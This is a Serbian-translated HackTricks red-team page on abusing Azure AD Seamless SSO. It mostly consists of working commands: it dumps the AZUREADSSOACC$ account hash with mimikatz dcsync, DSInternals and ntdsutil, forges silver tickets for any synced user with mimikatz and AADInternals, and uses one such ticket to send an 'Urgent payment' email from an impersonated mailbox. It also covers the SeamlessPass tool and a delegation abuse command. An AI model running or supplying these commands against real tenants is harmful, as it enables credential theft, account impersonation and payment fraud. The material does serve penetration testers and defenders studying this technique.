Az - Seamless SSO
Reading time: 7 minutes
tip
Učite i vežbajte AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Učite i vežbajte GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)
Učite i vežbajte Azure Hacking:
HackTricks Training Azure Red Team Expert (AzRTE)
Podržite HackTricks
- Proverite planove pretplate!
- Pridružite se 💬 Discord grupi ili telegram grupi ili pratite nas na Twitteru 🐦 @hacktricks_live.
- Podelite hakerske trikove slanjem PR-ova na HackTricks i HackTricks Cloud github repozitorijume.
Osnovne informacije
Iz dokumenata: Azure Active Directory Seamless Single Sign-On (Azure AD Seamless SSO) automatski prijavljuje korisnike kada su na svojim korporativnim uređajima povezanih na vašu korporativnu mrežu. Kada je omogućeno, korisnici ne moraju da kucaju svoje lozinke da bi se prijavili na Azure AD, i obično, čak ni da kucaju svoja korisnička imena. Ova funkcija omogućava vašim korisnicima lak pristup vašim aplikacijama zasnovanim na oblaku bez potrebe za dodatnim komponentama na lokaciji.
.png)
https://learn.microsoft.com/en-us/entra/identity/hybrid/connect/how-to-connect-sso-how-it-works
U suštini, Azure AD Seamless SSO prijavljuje korisnike kada su na PC-u pridruženom lokalnoj domeni.
Podržava ga i PHS (Password Hash Sync) i PTA (Pass-through Authentication).
Desktop SSO koristi Kerberos za autentifikaciju. Kada je konfigurisan, Azure AD Connect kreira račun računara nazvan AZUREADSSOACC$
u lokalnom AD. Lozinka računa AZUREADSSOACC$
je poslata u čistom tekstu Azure AD tokom konfiguracije.
Kerberos karte su enkriptovane koristeći NTHash (MD4) lozinke, a Azure AD koristi poslatu lozinku za dekripciju karata.
Azure AD izlaže krajnju tačku (https://autologon.microsoftazuread-sso.com) koja prihvata Kerberos karte. Pregledač mašine pridružene domeni prosleđuje karte ovoj krajnjoj tački za SSO.
On-prem -> cloud
Lozinka korisnika AZUREADSSOACC$
nikada se ne menja. Stoga, administrator domena može kompromitovati hash ovog računa, a zatim ga koristiti za kreiranje srebrnih karata za povezivanje na Azure sa bilo kojim korisnikom na lokaciji koji je sinhronizovan:
# Dump hash using mimikatz
Invoke-Mimikatz -Command '"lsadump::dcsync /user:domain\azureadssoacc$ /domain:domain.local /dc:dc.domain.local"'
mimikatz.exe "lsadump::dcsync /user:AZUREADSSOACC$" exit
# Dump hash using https://github.com/MichaelGrafnetter/DSInternals
Get-ADReplAccount -SamAccountName 'AZUREADSSOACC$' -Domain contoso -Server lon-dc1.contoso.local
# Dump using ntdsutil and DSInternals
## Dump NTDS.dit
ntdsutil "ac i ntds" "ifm” "create full C:\temp" q q
## Extract password
Install-Module DSInternals
Import-Module DSInternals
$key = Get-BootKey -SystemHivePath 'C:\temp\registry\SYSTEM'
(Get-ADDBAccount -SamAccountName 'AZUREADSSOACC$' -DBPath 'C:\temp\Active Directory\ntds.dit' -BootKey $key).NTHash | Format-Hexos
Sa hash-om sada možete generisati srebrne karte:
# Get users and SIDs
Get-AzureADUser | Select UserPrincipalName,OnPremisesSecurityIdentifier
# Create a silver ticket to connect to Azure with mimikatz
Invoke-Mimikatz -Command '"kerberos::golden /user:onpremadmin /sid:S-1-5-21-123456789-1234567890-123456789 /id:1105 /domain:domain.local /rc4:<azureadssoacc hash> /target:aadg.windows.net.nsatc.net /service:HTTP /ptt"'
mimikatz.exe "kerberos::golden /user:elrond /sid:S-1-5-21-2121516926-2695913149-3163778339 /id:1234 /domain:contoso.local /rc4:12349e088b2c13d93833d0ce947676dd /target:aadg.windows.net.nsatc.net /service:HTTP /ptt" exit
# Create silver ticket with AADInternal to access Exchange Online
$kerberos=New-AADIntKerberosTicket -SidString "S-1-5-21-854168551-3279074086-2022502410-1104" -Hash "097AB3CBED7B9DD6FE6C992024BC38F4"
$at=Get-AADIntAccessTokenForEXO -KerberosTicket $kerberos -Domain company.com
## Send email
Send-AADIntOutlookMessage -AccessToken $at -Recipient "someone@company.com" -Subject "Urgent payment" -Message "<h1>Urgent!</h1><br>The following bill should be paid asap."
Da biste iskoristili srebrnu kartu, sledeći koraci treba da se izvrše:
- Pokrenite pregledač: Treba pokrenuti Mozilla Firefox.
- Konfigurišite pregledač:
- Idite na
about:config
. - Postavite preferencu za network.negotiate-auth.trusted-uris na navedene vrednosti:
https://aadg.windows.net.nsatc.net
https://autologon.microsoftazuread-sso.com
- Pristupite web aplikaciji:
- Posetite web aplikaciju koja je integrisana sa AAD domenom organizacije. Uobičajen primer je Office 365.
- Proces autentifikacije:
- Na ekranu za prijavu, treba uneti korisničko ime, ostavljajući polje za lozinku prazno.
- Da biste nastavili, pritisnite TAB ili ENTER.
tip
Ovo ne zaobilazi MFA ako je omogućeno
Opcija 2 bez dcsync - SeamlessPass
Takođe je moguće izvršiti ovaj napad bez dcsync napada da biste bili diskretniji, kao što je objašnjeno u ovom blog postu. Za to vam je potrebna samo jedna od sledećih stavki:
- TGT kompromitovanog korisnika: Čak i ako ga nemate, ali je korisnik kompromitovan, možete dobiti jedan koristeći trik lažne TGT delegacije implementiran u mnogim alatima kao što su Kekeo i Rubeus.
- Zlatna karta: Ako imate KRBTGT ključ, možete kreirati TGT koji vam je potreban za napadnutog korisnika.
- NTLM hash ili AES ključ kompromitovanog korisnika: SeamlessPass će komunicirati sa kontrolerom domena sa ovom informacijom da generiše TGT.
- NTLM hash ili AES ključ AZUREADSSOACC$ naloga: Sa ovom informacijom i SID-om korisnika koji napadate, moguće je kreirati servisnu kartu i autentifikovati se sa cloud-om (kao što je izvedeno u prethodnoj metodi).
Na kraju, sa TGT-om je moguće koristiti alat SeamlessPass sa:
seamlesspass -tenant corp.com -domain corp.local -dc dc.corp.local -tgt <base64_TGT>
Dalje informacije o podešavanju Firefoxa za rad sa seamless SSO mogu se pronaći u ovom blog postu.
Kreiranje Kerberos karata za korisnike koji koriste samo cloud
Ako administratori Active Directory imaju pristup Azure AD Connect, mogu postaviti SID za bilo kog cloud-korisnika. Na ovaj način Kerberos karte mogu biti kreirane i za korisnike koji koriste samo cloud. Jedini zahtev je da SID bude ispravan SID.
caution
Promena SID-a korisnika koji koriste samo cloud je sada blokirana od strane Microsoft-a.
Za informacije proverite https://aadinternals.com/post/on-prem_admin/
On-prem -> Cloud putem Ograničene Delegacije na Bazi Resursa
Svako ko može upravljati računima računara (AZUREADSSOACC$
) u kontejneru ili OU u kojem se ovaj račun nalazi, može konfigurisati ograničenu delegaciju na bazi resursa preko računa i pristupiti mu.
python rbdel.py -u <workgroup>\\<user> -p <pass> <ip> azureadssosvc$
Reference
- https://learn.microsoft.com/en-us/azure/active-directory/hybrid/how-to-connect-sso
- https://www.dsinternals.com/en/impersonating-office-365-users-mimikatz/
- https://aadinternals.com/post/on-prem_admin/
- TR19: Ja sam u vašem oblaku, čitam e-poštu svih - hakovanje Azure AD putem Active Directory
tip
Učite i vežbajte AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Učite i vežbajte GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)
Učite i vežbajte Azure Hacking:
HackTricks Training Azure Red Team Expert (AzRTE)
Podržite HackTricks
- Proverite planove pretplate!
- Pridružite se 💬 Discord grupi ili telegram grupi ili pratite nas na Twitteru 🐦 @hacktricks_live.
- Podelite hakerske trikove slanjem PR-ova na HackTricks i HackTricks Cloud github repozitorijume.